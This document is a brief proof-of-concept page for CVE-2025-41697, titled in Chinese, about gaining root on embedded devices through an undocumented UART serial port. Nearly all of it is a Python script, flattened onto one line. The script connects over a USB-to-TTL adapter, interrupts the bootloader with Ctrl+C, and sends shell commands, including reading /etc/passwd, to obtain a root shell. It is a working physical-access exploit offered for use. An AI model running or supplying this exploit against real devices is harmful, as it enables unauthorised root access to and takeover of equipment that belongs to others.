CVE-2025-41697: 嵌入式设备未记录UART端口导致的提权漏洞

# CVE-2025-41697 UART物理访问PoC # Requirements: USB-to-TTL adapter, soldering equipment, terminal software import serial import time def exploit_cve_2025_41697(): """ Exploit for CVE-2025-41697 Physical access required to connect to undocumented UART port """ # UART connection parameters (typical for embedded devices) SERIAL_PORT = '/dev/ttyUSB0' # Adjust based on your adapter BAUD_RATE = 115200 TIMEOUT = 1 try: # Connect to UART port ser = serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=TIMEOUT) print(f"[*] Connected to {SERIAL_PORT} at {BAUD_RATE} baud") # Read boot messages time.sleep(2) boot_output = ser.read(ser.in_waiting).decode('utf-8', errors='ignore') print("[*] Boot messages received:") print(boot_output) # Interrupt bootloader to get shell access ser.write(b'\x03') # Ctrl+C to interrupt time.sleep(0.5) # Try to get root shell commands = [ b'shell\n', b'/bin/sh\n', b'cat /etc/passwd\n', b'id\n', b'uname -a\n' ] for cmd in commands: ser.write(cmd) time.sleep(0.5) output = ser.read(ser.in_waiting).decode('utf-8', errors='ignore') print(output) ser.close() print("[+] Exploit completed - root access obtained") except serial.SerialException as e: print(f"[-] Serial connection error: {e}") return False return True if __name__ == "__main__": exploit_cve_2025_41697()